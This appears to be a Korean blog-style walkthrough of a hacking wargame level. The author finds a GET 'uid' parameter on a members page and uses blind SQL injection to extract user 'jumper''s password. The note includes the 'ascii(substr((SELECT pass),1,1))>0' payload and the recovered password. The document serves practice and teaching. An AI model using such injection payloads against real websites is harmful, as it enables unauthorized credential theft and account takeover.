

Other1을 보시면 이런 폼이 있습니다.
bypass 방식이 아니니 blind인젝션인것같군요.

/other/level1/index.php

Log in as 'jumper'. (Note: this is not another login bypass... (Hint: count that shit...))

Login:

>

자, jumper로 로그인하라했으니 우선 jumper아이디를 눌러 정보를 봅시다.

/other/level1/index.php

Log in as 'jumper'. (Note: this is not another login bypass... (Hint: count that shit...))

Login:

>

Members:

carl
billy
Winnetou
jumper

References:


이런 창이 뜨는군요.

여러 필드들이 있습니다.

id:	4
name:	jumper
email:	jump@gmail.com
notes:	Jumping on your head
notes(2):	hack me!


주소를 보니 get형식으로 uid를 입력을 받는군요.

저걸 이용해 블라인드 인젝션을 하면 될것 같습니다.

 http://flack.hkpc.co.kr/other/level1/members.php?uid=4]

대충 이렇게 블라인드 인젝션을 해줍니다.

중간과정은 아시리라 믿고 생략하겠습니다.

 http://flack.hkpc.co.kr/other/level1/members.php?uid=4 and ascii(substr((SELECT pass),1,1))>0#|

블라인드 인젝션으로 알아낸 비밀번호로 로그인합니다.

/other/level1/index.php

Log in as 'jumper'. (Note: this is not another login bypass... (Hint: count that shit...))

Login:

jumper

mehijo123



Members:

carl

billy

Winnetou

jumper

성공!

well done!

/other/level1/index.php